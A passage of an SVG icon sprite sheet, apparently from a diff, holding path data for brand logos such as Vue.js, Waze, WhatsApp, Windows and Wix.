22.5-10.9 22.5-20 0-68.6-73.4-97.4-157.4-5.8-16.3-11.5-22.9-26.6-22.9H38.8c-16.8 0-20.2 7.9-20.2 16.7 0 15.6 20 93.1 93.1 195.5C160.4 378.1 229 416 291.4 416c37.5 0 42.1-8.4 42.1-22.9 0-66.8-3.4-73.1 15.4-73.1 8.7 0 23.7 4.4 58.7 38.1 40 40 46.6 57.9 69 57.9h58.9c16.8 0 25.3-8.4 20.4-25-11.2-34.9-86.9-106.7-90.3-111.5-8.7-11.2-6.2-16.2 0-26.2.1-.1 72-101.3 79.4-135.6z"></path> + </symbol> + <symbol id="vnv" viewBox="0 0 640 512"> + <path d="M104.9 352c-34.1 0-46.4-30.4-46.4-30.4L2.6 210.1S-7.8 192 13 192h32.8c10.4 0 13.2 8.7 18.8 18.1l36.7 74.5s5.2 13.1 21.1 13.1 21.1-13.1 21.1-13.1l36.7-74.5c5.6-9.5 8.4-18.1 18.8-18.1h32.8c20.8 0 10.4 18.1 10.4 18.1l-55.8 111.5S174.2 352 140 352h-35.1zm395 0c-34.1 0-46.4-30.4-46.4-30.4l-55.9-111.5S387.2 192 408 192h32.8c10.4 0 13.2 8.7 18.8 18.1l36.7 74.5s5.2 13.1 21.1 13.1 21.1-13.1 21.1-13.1l36.8-74.5c5.6-9.5 8.4-18.1 18.8-18.1H627c20.8 0 10.4 18.1 10.4 18.1l-55.9 111.5S569.3 352 535.1 352h-35.2zM337.6 192c34.1 0 46.4 30.4 46.4 30.4l55.9 111.5s10.4 18.1-10.4 18.1h-32.8c-10.4 0-13.2-8.7-18.8-18.1l-36.7-74.5s-5.2-13.1-21.1-13.1c-15.9 0-21.1 13.1-21.1 13.1l-36.7 74.5c-5.6 9.4-8.4 18.1-18.8 18.1h-32.9c-20.8 0-10.4-18.1-10.4-18.1l55.9-111.5s12.2-30.4 46.4-30.4h35.1z"></path> + </symbol> + <symbol id="vuejs" viewBox="0 0 448 512"> + <path d="M356.9 64.3H280l-56 88.6-48-88.6H0L224 448 448 64.3h-91.1zm-301.2 32h53.8L224 294.5 338.4 96.3h53.8L224 384.5 55.7 96.3z"></path> + </symbol> + <symbol id="watchman-monitoring" viewBox="0 0 512 512"> + <path d="M256,16C123.452,16,16,123.452,16,256S123.452,496,256,496,496,388.548,496,256,388.548,16,256,16ZM121.69,429.122C70.056,388.972,36.741,326.322,36.741,256a218.519,218.519,0,0,1,9.587-64.122l102.9-17.895-.121,10.967-13.943,2.013s-.144,12.5-.144,19.549a12.778,12.778,0,0,0,4.887,10.349l9.468,7.4Zm105.692-283.27,8.48-7.618s6.934-5.38-.143-9.344c-7.188-4.024-39.53-34.5-39.53-34.5-5.348-5.477-8.257-7.347-15.46,0,0,0-32.342,30.474-39.529,34.5-7.078,3.964-.144,9.344-.144,9.344l8.481,7.618-.048,4.369L75.982,131.045c39.644-56.938,105.532-94.3,180.018-94.3A218.754,218.754,0,0,1,420.934,111.77l-193.512,37.7Zm34.063,329.269-33.9-250.857,9.467-7.4a12.778,12.778,0,0,0,4.888-10.349c0-7.044-.144-19.549-.144-19.549l-13.943-2.013-.116-10.474,241.711,31.391A218.872,218.872,0,0,1,475.259,256C475.259,375.074,379.831,472.212,261.445,475.121Z"></path> + </symbol> + <symbol id="waze" viewBox="0 0 512 512"> + <path d="M502.17 201.67C516.69 287.53 471.23 369.59 389 409.8c13 34.1-12.4 70.2-48.32 70.2a51.68 51.68 0 0 1-51.57-49c-6.44.19-64.2 0-76.33-.64A51.69 51.69 0 0 1 159 479.92c-33.86-1.36-57.95-34.84-47-67.92-37.21-13.11-72.54-34.87-99.62-70.8-13-17.28-.48-41.8 20.84-41.8 46.31 0 32.22-54.17 43.15-110.26C94.8 95.2 193.12 32 288.09 32c102.48 0 197.15 70.67 214.08 169.67zM373.51 388.28c42-19.18 81.33-56.71 96.29-102.14 40.48-123.09-64.15-228-181.71-228-83.45 0-170.32 55.42-186.07 136-9.53 48.91 5 131.35-68.75 131.35C58.21 358.6 91.6 378.11 127 389.54c24.66-21.8 63.87-15.47 79.83 14.34 14.22 1 79.19 1.18 87.9.82a51.69 51.69 0 0 1 78.78-16.42zM205.12 187.13c0-34.74 50.84-34.75 50.84 0s-50.84 34.74-50.84 0zm116.57 0c0-34.74 50.86-34.75 50.86 0s-50.86 34.75-50.86 0zm-122.61 70.69c-3.44-16.94 22.18-22.18 25.62-5.21l.06.28c4.14 21.42 29.85 44 64.12 43.07 35.68-.94 59.25-22.21 64.11-42.77 4.46-16.05 28.6-10.36 25.47 6-5.23 22.18-31.21 62-91.46 62.9-42.55 0-80.88-27.84-87.9-64.25z"></path> + </symbol> + <symbol id="weebly" viewBox="0 0 512 512"> + <path d="M425.09 65.83c-39.88 0-73.28 25.73-83.66 64.33-18.16-58.06-65.5-64.33-84.95-64.33-19.78 0-66.8 6.28-85.28 64.33-10.38-38.6-43.45-64.33-83.66-64.33C38.59 65.83 0 99.72 0 143.03c0 28.96 4.18 33.27 77.17 233.48 22.37 60.57 67.77 69.35 92.74 69.35 39.23 0 70.04-19.46 85.93-53.98 15.89 34.83 46.69 54.29 85.93 54.29 24.97 0 70.36-9.1 92.74-69.67 76.55-208.65 77.5-205.58 77.5-227.2.63-48.32-36.01-83.47-86.92-83.47zm26.34 114.81l-65.57 176.44c-7.92 21.49-21.22 37.22-46.24 37.22-23.44 0-37.38-12.41-44.03-33.9l-39.28-117.42h-.95L216.08 360.4c-6.96 21.5-20.9 33.6-44.02 33.6-25.02 0-38.33-15.74-46.24-37.22L60.88 181.55c-5.38-14.83-7.92-23.91-7.92-34.5 0-16.34 15.84-29.36 38.33-29.36 18.69 0 31.99 11.8 36.11 29.05l44.03 139.82h.95l44.66-136.79c6.02-19.67 16.47-32.08 38.96-32.08s32.94 12.11 38.96 32.08l44.66 136.79h.95l44.03-139.82c4.12-17.25 17.42-29.05 36.11-29.05 22.17 0 38.33 13.32 38.33 35.71-.32 7.87-4.12 16.04-7.61 27.24z"></path> + </symbol> + <symbol id="weibo" viewBox="0 0 512 512"> + <path d="M407 177.6c7.6-24-13.4-46.8-37.4-41.7-22 4.8-28.8-28.1-7.1-32.8 50.1-10.9 92.3 37.1 76.5 84.8-6.8 21.2-38.8 10.8-32-10.3zM214.8 446.7C108.5 446.7 0 395.3 0 310.4c0-44.3 28-95.4 76.3-143.7C176 67 279.5 65.8 249.9 161c-4 13.1 12.3 5.7 12.3 6 79.5-33.6 140.5-16.8 114 51.4-3.7 9.4 1.1 10.9 8.3 13.1 135.7 42.3 34.8 215.2-169.7 215.2zm143.7-146.3c-5.4-55.7-78.5-94-163.4-85.7-84.8 8.6-148.8 60.3-143.4 116s78.5 94 163.4 85.7c84.8-8.6 148.8-60.3 143.4-116zM347.9 35.1c-25.9 5.6-16.8 43.7 8.3 38.3 72.3-15.2 134.8 52.8 111.7 124-7.4 24.2 29.1 37 37.4 12 31.9-99.8-55.1-195.9-157.4-174.3zm-78.5 311c-17.1 38.8-66.8 60-109.1 46.3-40.8-13.1-58-53.4-40.3-89.7 17.7-35.4 63.1-55.4 103.4-45.1 42 10.8 63.1 50.2 46 88.5zm-86.3-30c-12.9-5.4-30 .3-38 12.9-8.3 12.9-4.3 28 8.6 34 13.1 6 30.8.3 39.1-12.9 8-13.1 3.7-28.3-9.7-34zm32.6-13.4c-5.1-1.7-11.4.6-14.3 5.4-2.9 5.1-1.4 10.6 3.7 12.9 5.1 2 11.7-.3 14.6-5.4 2.8-5.2 1.1-10.9-4-12.9z"></path> + </symbol> + <symbol id="weixin" viewBox="0 0 576 512"> + <path d="M385.2 167.6c6.4 0 12.6.3 18.8 1.1C387.4 90.3 303.3 32 207.7 32 100.5 32 13 104.8 13 197.4c0 53.4 29.3 97.5 77.9 131.6l-19.3 58.6 68-34.1c24.4 4.8 43.8 9.7 68.2 9.7 6.2 0 12.1-.3 18.3-.8-4-12.9-6.2-26.6-6.2-40.8-.1-84.9 72.9-154 165.3-154zm-104.5-52.9c14.5 0 24.2 9.7 24.2 24.4 0 14.5-9.7 24.2-24.2 24.2-14.8 0-29.3-9.7-29.3-24.2.1-14.7 14.6-24.4 29.3-24.4zm-136.4 48.6c-14.5 0-29.3-9.7-29.3-24.2 0-14.8 14.8-24.4 29.3-24.4 14.8 0 24.4 9.7 24.4 24.4 0 14.6-9.6 24.2-24.4 24.2zM563 319.4c0-77.9-77.9-141.3-165.4-141.3-92.7 0-165.4 63.4-165.4 141.3S305 460.7 397.6 460.7c19.3 0 38.9-5.1 58.6-9.9l53.4 29.3-14.8-48.6C534 402.1 563 363.2 563 319.4zm-219.1-24.5c-9.7 0-19.3-9.7-19.3-19.6 0-9.7 9.7-19.3 19.3-19.3 14.8 0 24.4 9.7 24.4 19.3 0 10-9.7 19.6-24.4 19.6zm107.1 0c-9.7 0-19.3-9.7-19.3-19.6 0-9.7 9.7-19.3 19.3-19.3 14.5 0 24.4 9.7 24.4 19.3.1 10-9.9 19.6-24.4 19.6z"></path> + </symbol> + <symbol id="whatsapp" viewBox="0 0 448 512"> + <path d="M380.9 97.1C339 55.1 283.2 32 223.9 32c-122.4 0-222 99.6-222 222 0 39.1 10.2 77.3 29.6 111L0 480l117.7-30.9c32.4 17.7 68.9 27 106.1 27h.1c122.3 0 224.1-99.6 224.1-222 0-59.3-25.2-115-67.1-157zm-157 341.6c-33.2 0-65.7-8.9-94-25.7l-6.7-4-69.8 18.3L72 359.2l-4.4-7c-18.5-29.4-28.2-63.3-28.2-98.2 0-101.7 82.8-184.5 184.6-184.5 49.3 0 95.6 19.2 130.4 54.1 34.8 34.9 56.2 81.2 56.1 130.5 0 101.8-84.9 184.6-186.6 184.6zm101.2-138.2c-5.5-2.8-32.8-16.2-37.9-18-5.1-1.9-8.8-2.8-12.5 2.8-3.7 5.6-14.3 18-17.6 21.8-3.2 3.7-6.5 4.2-12 1.4-32.6-16.3-54-29.1-75.5-66-5.7-9.8 5.7-9.1 16.3-30.3 1.8-3.7.9-6.9-.5-9.7-1.4-2.8-12.5-30.1-17.1-41.2-4.5-10.8-9.1-9.3-12.5-9.5-3.2-.2-6.9-.2-10.6-.2-3.7 0-9.7 1.4-14.8 6.9-5.1 5.6-19.4 19-19.4 46.3 0 27.3 19.9 53.7 22.6 57.4 2.8 3.7 39.1 59.7 94.8 83.8 35.2 15.2 49 16.5 66.6 13.9 10.7-1.6 32.8-13.4 37.4-26.4 4.6-13 4.6-24.1 3.2-26.4-1.3-2.5-5-3.9-10.5-6.6z"></path> + </symbol> + <symbol id="whatsapp-square" viewBox="0 0 448 512"> + <path d="M224 122.8c-72.7 0-131.8 59.1-131.9 131.8 0 24.9 7 49.2 20.2 70.1l3.1 5-13.3 48.6 49.9-13.1 4.8 2.9c20.2 12 43.4 18.4 67.1 18.4h.1c72.6 0 133.3-59.1 133.3-131.8 0-35.2-15.2-68.3-40.1-93.2-25-25-58-38.7-93.2-38.7zm77.5 188.4c-3.3 9.3-19.1 17.7-26.7 18.8-12.6 1.9-22.4.9-47.5-9.9-39.7-17.2-65.7-57.2-67.7-59.8-2-2.6-16.2-21.5-16.2-41s10.2-29.1 13.9-33.1c3.6-4 7.9-5 10.6-5 2.6 0 5.3 0 7.6.1 2.4.1 5.7-.9 8.9 6.8 3.3 7.9 11.2 27.4 12.2 29.4s1.7 4.3.3 6.9c-7.6 15.2-15.7 14.6-11.6 21.6 15.3 26.3 30.6 35.4 53.9 47.1 4 2 6.3 1.7 8.6-1 2.3-2.6 9.9-11.6 12.5-15.5 2.6-4 5.3-3.3 8.9-2 3.6 1.3 23.1 10.9 27.1 12.9s6.6 3 7.6 4.6c.9 1.9.9 9.9-2.4 19.1zM400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM223.9 413.2c-26.6 0-52.7-6.7-75.8-19.3L64 416l22.5-82.2c-13.9-24-21.2-51.3-21.2-79.3C65.4 167.1 136.5 96 223.9 96c42.4 0 82.2 16.5 112.2 46.5 29.9 30 47.9 69.8 47.9 112.2 0 87.4-72.7 158.5-160.1 158.5z"></path> + </symbol> + <symbol id="whmcs" viewBox="0 0 448 512"> + <path d="M448 161v-21.3l-28.5-8.8-2.2-10.4 20.1-20.7L427 80.4l-29 7.5-7.2-7.5 7.5-28.2-19.1-11.6-21.3 21-10.7-3.2-7-26.4h-22.6l-6.2 26.4-12.1 3.2-19.7-21-19.4 11 8.1 27.7-8.1 8.4-28.5-7.5-11 19.1 20.7 21-2.9 10.4-28.5 7.8-.3 21.7 28.8 7.5 2.4 12.1-20.1 19.9 10.4 18.5 29.6-7.5 7.2 8.6-8.1 26.9 19.9 11.6 19.4-20.4 11.6 2.9 6.7 28.5 22.6.3 6.7-28.8 11.6-3.5 20.7 21.6 20.4-12.1-8.8-28 7.8-8.1 28.8 8.8 10.3-20.1-20.9-18.8 2.2-12.1 29.1-7zm-119.2 45.2c-31.3 0-56.8-25.4-56.8-56.8s25.4-56.8 56.8-56.8 56.8 25.4 56.8 56.8c0 31.5-25.4 56.8-56.8 56.8zm72.3 16.4l46.9 14.5V277l-55.1 13.4-4.1 22.7 38.9 35.3-19.2 37.9-54-16.7-14.6 15.2 16.7 52.5-38.3 22.7-38.9-40.5-21.7 6.6-12.6 54-42.4-.5-12.6-53.6-21.7-5.6-36.4 38.4-37.4-21.7 15.2-50.5-13.7-16.1-55.5 14.1-19.7-34.8 37.9-37.4-4.8-22.8-54-14.1.5-40.9L54 219.9l5.7-19.7-38.9-39.4L41.5 125l53.6 14.1 15.2-15.7-15.2-52 36.4-20.7 36.8 39.4L191 84l11.6-52H245l11.6 45.9L234 72l-6.3-1.7-3.3 5.7-11 19.1-3.3 5.6 4.6 4.6 17.2 17.4-.3 1-23.8 6.5-6.2 1.7-.1 6.4-.2 12.9C153.8 161.6 118 204 118 254.7c0 58.3 47.3 105.7 105.7 105.7 50.5 0 92.7-35.4 103.2-82.8l13.2.2 6.9.1 1.6-6.7 5.6-24 1.9-.6 17.1 17.8 4.7 4.9 5.8-3.4 20.4-12.1 5.8-3.5-2-6.5-6.8-21.2z"></path> + </symbol> + <symbol id="wikipedia-w" viewBox="0 0 640 512"> + <path d="M640 51.2l-.3 12.2c-28.1.8-45 15.8-55.8 40.3-25 57.8-103.3 240-155.3 358.6H415l-81.9-193.1c-32.5 63.6-68.3 130-99.2 193.1-.3.3-15 0-15-.3C172 352.3 122.8 243.4 75.8 133.4 64.4 106.7 26.4 63.4.2 63.7c0-3.1-.3-10-.3-14.2h161.9v13.9c-19.2 1.1-52.8 13.3-43.3 34.2 21.9 49.7 103.6 240.3 125.6 288.6 15-29.7 57.8-109.2 75.3-142.8-13.9-28.3-58.6-133.9-72.8-160-9.7-17.8-36.1-19.4-55.8-19.7V49.8l142.5.3v13.1c-19.4.6-38.1 7.8-29.4 26.1 18.9 40 30.6 68.1 48.1 104.7 5.6-10.8 34.7-69.4 48.1-100.8 8.9-20.6-3.9-28.6-38.6-29.4.3-3.6 0-10.3.3-13.6 44.4-.3 111.1-.3 123.1-.6v13.6c-22.5.8-45.8 12.8-58.1 31.7l-59.2 122.8c6.4 16.1 63.3 142.8 69.2 156.7L559.2 91.8c-8.6-23.1-36.4-28.1-47.2-28.3V49.6l127.8 1.1.2.5z"></path> + </symbol> + <symbol id="windows" viewBox="0 0 448 512"> + <path d="M0 93.7l183.6-25.3v177.4H0V93.7zm0 324.6l183.6 25.3V268.4H0v149.9zm203.8 28L448 480V268.4H203.8v177.9zm0-380.6v180.1H448V32L203.8 65.7z"></path> + </symbol> + <symbol id="wix" viewBox="0 0 640 512"> + <path d="M393.38 131.69c0 13.03 2.08 32.69-28.68 43.83-9.52 3.45-15.95 9.66-15.95 9.66 0-31 4.72-42.22 17.4-48.86 9.75-5.11 27.23-4.63 27.23-4.63zm-115.8 35.54l-34.24 132.66-28.48-108.57c-7.69-31.99-20.81-48.53-48.43-48.53-27.37 0-40.66 16.18-48.43 48.53L89.52 299.89 55.28 167.23C49.73 140.51 23.86 128.96 0 131.96l65.57 247.93s21.63 1.56 32.46-3.96c14.22-7.25 20.98-12.84 29.59-46.57 7.67-30.07 29.11-118.41 31.12-124.7 4.76-14.94 11.09-13.81 15.4 0 1.97 6.3 23.45 94.63 31.12 124.7 8.6 33.73 15.37 39.32 29.59 46.57 10.82 5.52 32.46 3.96 32.46 3.96l65.57-247.93c-24.42-3.07-49.82 8.93-55.3 35.27zm115.78 5.21s-4.1 6.34-13.46 11.57c-6.01 3.36-11.78 5.64-17.97 8.61-15.14 7.26-13.18 13.95-13.18 35.2v152.07s16.55 2.09 27.37-3.43c13.93-7.1 17.13-13.95 17.26-44.78V181.41l-.02.01v-8.98zm163.44 84.08L640 132.78s-35.11-5.98-52.5 9.85c-13.3 12.1-24.41 29.55-54.18 72.47-.47.73-6.25 10.54-13.07 0-29.29-42.23-40.8-60.29-54.18-72.47-17.39-15.83-52.5-9.85-52.5-9.85l83.2 123.74-82.97 123.36s36.57 4.62 53.95-11.21c11.49-10.46 17.58-20.37 52.51-70.72 6.81-10.52 12.57-.77 13.07 0 29.4 42.38 39.23 58.06 53.14 70.72 17.39 15.83 53.32 11.21 53.32 11.21L556.8 256.52z"></path> + </symbol> + <symbol id="wizards-of-the-coast" viewBox="0 0 640 512"> + <path d="M219.19 345.69c-1.9 1.38-11.07 8.44-.26 23.57 4.64 6.42 14.11 12.79 21.73 6.55 6.5-4.88 7.35-12.92.26-23.04-5.47-7.76-14.28-12.88-21.73-7.08zm336.75 75.94c-.34 1.7-.55 1.67.79 0 2.09-4.19 4.19-10.21 4.98-19.9 3.14-38.49-40.33-71.49-101.34-78.03-54.73-6.02-124.38 9.17-188.8 60.49l-.26 1.57c2.62 4.98 4.98 10.74 3.4 21.21l.79.26c63.89-58.4 131.19-77.25 184.35-73.85 58.4 3.67 100.03 34.04 100.03 68.08-.01 9.96-2.63 15.72-3.94 20.17zM392.28 240.42c.79 7.07 4.19 10.21 9.17 10.47 5.5.26 9.43-2.62 10.47-6.55.79-3.4 2.09-29.85 2.09-29.85s-11.26 6.55-14.93 10.47c-3.66 3.68-7.33 8.39-6.8 15.46zm-50.02-151.1C137.75 89.32 13.1 226.8.79 241.2c-1.05.52-1.31.79.79 1.31 60.49 16.5 155.81 81.18 196.13 202.16l1.05.26c55.25-69.92 140.88-128.05 236.99-128.05 80.92 0 130.15 42.16 130.15 80.39 0 18.33-6.55 33.52-22.26 46.35 0 .96-.2.79.79.79 14.66-10.74 27.5-28.8 27.5-48.18 0-22.78-12.05-38.23-12.05-38.23 7.07 7.07 10.74 16.24 10.74 16.24 5.76-40.85 26.97-62.32 26.97-62.32-2.36-9.69-6.81-17.81-6.81-17.81 7.59 8.12 14.4 27.5 14.4 41.37 0 10.47-3.4 22.78-12.57 31.95l.26.52c8.12-4.98 16.5-16.76 16.5-37.97 0-15.71-4.71-25.92-4.71-25.92 5.76-5.24 11.26-9.17 15.97-11.78.79 3.4 2.09 9.69 2.36 14.93 0 1.05.79 1.83 1.05 0 .79-5.76-.26-16.24-.26-16.5 6.02-3.14 9.69-4.45 9.69-4.45C617.74 176 489.43 89.32 342.26 89.32zm-99.24 289.62c-11.06 8.99-24.2 4.08-30.64-4.19-7.45-9.58-6.76-24.09 4.19-32.47 14.85-11.35 27.08-.49 31.16 5.5.28.39 12.13 16.57-4.71 31.16zm2.09-136.43l9.43-17.81 11.78 70.96-12.57 6.02-24.62-28.8 14.14-26.71 3.67 4.45-1.83-8.11zm18.59 117.58l-.26-.26c2.05-4.1-2.5-6.61-17.54-31.69-1.31-2.36-3.14-2.88-4.45-2.62l-.26-.52c7.86-5.76 15.45-10.21 25.4-15.71l.52.26c1.31 1.83 2.09 2.88 3.4 4.71l-.26.52c-1.05-.26-2.36-.79-5.24.26-2.09.79-7.86 3.67-12.31 7.59v1.31c1.57 2.36 3.93 6.55 5.76 9.69h.26c10.05-6.28 7.56-4.55 11.52-7.86h.26c.52 1.83.52 1.83 1.83 5.5l-.26.26c-3.06.61-4.65.34-11.52 5.5v.26c9.46 17.02 11.01 16.75 12.57 15.97l.26.26c-2.34 1.59-6.27 4.21-9.68 6.57zm55.26-32.47c-3.14 1.57-6.02 2.88-9.95 4.98l-.26-.26c1.29-2.59 1.16-2.71-11.78-32.47l-.26-.26c-.15 0-8.9 3.65-9.95 7.33h-.52l-1.05-5.76.26-.52c7.29-4.56 25.53-11.64 27.76-12.57l.52.26 3.14 4.98-.26.52c-3.53-1.76-7.35.76-12.31 2.62v.26c12.31 32.01 12.67 30.64 14.66 30.64v.25zm44.77-16.5c-4.19 1.05-5.24 1.31-9.69 2.88l-.26-.26.52-4.45c-1.05-3.4-3.14-11.52-3.67-13.62l-.26-.26c-3.4.79-8.9 2.62-12.83 3.93l-.26.26c.79 2.62 3.14 9.95 4.19 13.88.79 2.36 1.83 2.88 2.88 3.14v.52c-3.67 1.05-7.07 2.62-10.21 3.93l-.26-.26c1.05-1.31 1.05-2.88.26-4.98-1.05-3.14-8.12-23.83-9.17-27.23-.52-1.83-1.57-3.14-2.62-3.14v-.52c3.14-1.05 6.02-2.09 10.74-3.4l.26.26-.26 4.71c1.31 3.93 2.36 7.59 3.14 9.69h.26c3.93-1.31 9.43-2.88 12.83-3.93l.26-.26-2.62-9.43c-.52-1.83-1.05-3.4-2.62-3.93v-.26c4.45-1.05 7.33-1.83 10.74-2.36l.26.26c-1.05 1.31-1.05 2.88-.52 4.45 1.57 6.28 4.71 20.43 6.28 26.45.54 2.62 1.85 3.41 2.63 3.93zm32.21-6.81l-.26.26c-4.71.52-14.14 2.36-22.52 4.19l-.26-.26.79-4.19c-1.57-7.86-3.4-18.59-4.98-26.19-.26-1.83-.79-2.88-2.62-3.67l.79-.52c9.17-1.57 20.16-2.36 24.88-2.62l.26.26c.52 2.36.79 3.14 1.57 5.5l-.26.26c-1.14-1.14-3.34-3.2-16.24-.79l-.26.26c.26 1.57 1.05 6.55 1.57 9.95l.26.26c9.52-1.68 4.76-.06 10.74-2.36h.26c0 1.57-.26 1.83-.26 5.24h-.26c-4.81-1.03-2.15-.9-10.21 0l-.26.26c.26 2.09 1.57 9.43 2.09 12.57l.26.26c1.15.38 14.21-.65 16.24-4.71h.26c-.53 2.38-1.05 4.21-1.58 6.04zm10.74-44.51c-4.45 2.36-8.12 2.88-11 2.88-.25.02-11.41 1.09-17.54-9.95-6.74-10.79-.98-25.2 5.5-31.69 8.8-8.12 23.35-10.1 28.54-17.02 8.03-10.33-13.04-22.31-29.59-5.76l-2.62-2.88 5.24-16.24c25.59-1.57 45.2-3.04 50.02 16.24.79 3.14 0 9.43-.26 12.05 0 2.62-1.83 18.85-2.09 23.04-.52 4.19-.79 18.33-.79 20.69.26 2.36.52 4.19 1.57 5.5 1.57 1.83 5.76 1.83 5.76 1.83l-.79 4.71c-11.82-1.07-10.28-.59-20.43-1.05-3.22-5.15-2.23-3.28-4.19-7.86 0 .01-4.19 3.94-7.33 5.51zm37.18 21.21c-6.35-10.58-19.82-7.16-21.73 5.5-2.63 17.08 14.3 19.79 20.69 10.21l.26.26c-.52 1.83-1.83 6.02-1.83 6.28l-.52.52c-10.3 6.87-28.5-2.5-25.66-18.59 1.94-10.87 14.44-18.93 28.8-9.95l.26.52c0 1.06-.27 3.41-.27 5.25zm5.77-87.73v-6.55c.69 0 19.65 3.28 27.76 7.33l-1.57 17.54s10.21-9.43 15.45-10.74c5.24-1.57 14.93 7.33 14.93 7.33l-11.26 11.26c-12.07-6.35-19.59-.08-20.69.79-5.29 38.72-8.6 42.17 4.45 46.09l-.52 4.71c-17.55-4.29-18.53-4.5-36.92-7.33l.79-4.71c7.25 0 7.48-5.32 7.59-6.81 0 0 4.98-53.16 4.98-55.25-.02-2.87-4.99-3.66-4.99-3.66zm10.99 114.44c-8.12-2.09-14.14-11-10.74-20.69 3.14-9.43 12.31-12.31 18.85-10.21 9.17 2.62 12.83 11.78 10.74 19.38-2.61 8.9-9.42 13.87-18.85 11.52zm42.16 9.69c-2.36-.52-7.07-2.36-8.64-2.88v-.26l1.57-1.83c.59-8.24.59-7.27.26-7.59-4.82-1.81-6.66-2.36-7.07-2.36-1.31 1.83-2.88 4.45-3.67 5.5l-.79 3.4v.26c-1.31-.26-3.93-1.31-6.02-1.57v-.26l2.62-1.83c3.4-4.71 9.95-14.14 13.88-20.16v-2.09l.52-.26c2.09.79 5.5 2.09 7.59 2.88.48.48.18-1.87-1.05 25.14-.24 1.81.02 2.6.8 3.91zm-4.71-89.82c11.25-18.27 30.76-16.19 34.04-3.4L539.7 198c2.34-6.25-2.82-9.9-4.45-11.26l1.83-3.67c12.22 10.37 16.38 13.97 22.52 20.43-25.91 73.07-30.76 80.81-24.62 84.32l-1.83 4.45c-6.37-3.35-8.9-4.42-17.81-8.64l2.09-6.81c-.26-.26-3.93 3.93-9.69 3.67-19.06-1.3-22.89-31.75-9.67-52.9zm29.33 79.34c0-5.71-6.34-7.89-7.86-5.24-1.31 2.09 1.05 4.98 2.88 8.38 1.57 2.62 2.62 6.28 1.05 9.43-2.64 6.34-12.4 5.31-15.45-.79 0-.7-.27.09 1.83-4.71l.79-.26c-.57 5.66 6.06 9.61 8.38 4.98 1.05-2.09-.52-5.5-2.09-8.38-1.57-2.62-3.67-6.28-1.83-9.69 2.72-5.06 11.25-4.47 14.66 2.36v.52l-2.36 3.4zm21.21 13.36c-1.96-3.27-.91-2.14-4.45-4.71h-.26c-2.36 4.19-5.76 10.47-8.64 16.24-1.31 2.36-1.05 3.4-.79 3.93l-.26.26-5.76-4.45.26-.26 2.09-1.31c3.14-5.76 6.55-12.05 9.17-17.02v-.26c-2.64-1.98-1.22-1.51-6.02-1.83v-.26l3.14-3.4h.26c3.67 2.36 9.95 6.81 12.31 8.9l.26.26-1.31 3.91zm27.23-44.26l-2.88-2.88c.79-2.36 1.83-4.98 2.09-7.59.75-9.74-11.52-11.84-11.52-4.98 0 4.98 7.86 19.38 7.86 27.76 0 10.21-5.76 15.71-13.88 16.5-8.38.79-20.16-10.47-20.16-10.47l4.98-14.4 2.88 2.09c-2.97 17.8 17.68 20.37 13.35 5.24-1.06-4.02-18.75-34.2 2.09-38.23 13.62-2.36 23.04 16.5 23.04 16.5l-7.85 10.46zm35.62-10.21c-11-30.38-60.49-127.53-191.95-129.62-53.42-1.05-94.27 15.45-132.76 37.97l85.63-9.17-91.39 20.69 25.14 19.64-3.93-16.5c7.5-1.71 39.15-8.45 66.77-8.9l-22.26 80.39c13.61-.7 18.97-8.98 19.64-22.78l4.98-1.05.26 26.71c-22.46 3.21-37.3 6.69-49.49 9.95l13.09-43.21-61.54-36.66 2.36 8.12 10.21 4.98c6.28 18.59 19.38 56.56 20.43 58.66 1.95 4.28 3.16 5.78 12.05 4.45l1.05 4.98c-16.08 4.86-23.66 7.61-39.02 14.4l-2.36-4.71c4.4-2.94 8.73-3.94 5.5-12.83-23.7-62.5-21.48-58.14-22.78-59.44l2.36-4.45 33.52 67.3c-3.84-11.87 1.68 1.69-32.99-78.82l-41.9 88.51 4.71-13.88-35.88-42.16 27.76 93.48-11.78 8.38C95 228.58 101.05 231.87 93.23 231.52c-5.5-.26-13.62 5.5-13.62 5.5L74.63 231c30.56-23.53 31.62-24.33 58.4-42.68l4.19 7.07s-5.76 4.19-7.86 7.07c-5.9 9.28 1.67 13.28 61.8 75.68l-18.85-58.92 39.8-10.21 25.66 30.64 4.45-12.31-4.98-24.62 13.09-3.4.52 3.14 3.67-10.47-94.27 29.33 11.26-4.98-13.62-42.42 17.28-9.17 30.11 36.14 28.54-13.09c-1.41-7.47-2.47-14.5-4.71-19.64l17.28 13.88 4.71-2.09-59.18-42.68 23.08 11.5c18.98-6.07 25.23-7.47 32.21-9.69l2.62 11c-12.55 12.55 1.43 16.82 6.55 19.38l-13.62-61.01 12.05 28.28c4.19-1.31 7.33-2.09 7.33-2.09l2.62 8.64s-3.14 1.05-6.28 2.09l8.9 20.95 33.78-65.73-20.69 61.01c42.42-24.09 81.44-36.66 131.98-35.88 67.04 1.05 167.33 40.85 199.8 139.83.78 2.1-.01 2.63-.79.27zM203.48 152.43s1.83-.52 4.19-1.31l9.43 7.59c-.4 0-3.44-.25-11.26 2.36l-2.36-8.64zm143.76 38.5c-1.57-.6-26.46-4.81-33.26 20.69l21.73 17.02 11.53-37.71zM318.43 67.07c-58.4 0-106.05 12.05-114.96 14.4v.79c8.38 2.09 14.4 4.19 21.21 11.78l1.57.26c6.55-1.83 48.97-13.88 110.24-13.88 180.16 0 301.67 116.79 301.67 223.37v9.95c0 1.31.79 2.62 1.05.52.52-2.09.79-8.64.79-19.64.26-83.79-96.63-227.55-321.57-227.55zm211.06 169.68c1.31-5.76 0-12.31-7.33-13.09-9.62-1.13-16.14 23.79-17.02 33.52-.79 5.5-1.31 14.93 6.02 14.93 4.68-.01 9.72-.91 18.33-35.36zm-61.53 42.95c-2.62-.79-9.43-.79-12.57 10.47-1.83 6.81.52 13.35 6.02 14.66 3.67 1.05 8.9.52 11.78-10.74 2.62-9.94-1.83-13.61-5.23-14.39zM491 300.65c1.83.52 3.14 1.05 5.76 1.83 0-1.83.52-8.38.79-12.05-1.05 1.31-5.5 8.12-6.55 9.95v.27z"></path> + </symbol> + <symbol id="wodu" viewBox="0 0 640 512"> + <path d="M178.414 339.706H141.1L112.166 223.475h-.478L83.228 339.706H45.2L0 168.946H37.548L64.574 285.177h.478L94.707 168.946h35.157l29.178 117.667h.479L187.5 168.946h36.831zM271.4 212.713c38.984 0 64.1 25.828 64.1 65.291 0 39.222-25.111 65.05-64.1 65.05-38.743 0-63.855-25.828-63.855-65.05C207.547 238.541 232.659 212.713 271.4 212.713zm0 104.753c23.2 0 30.133-19.852 30.133-39.462 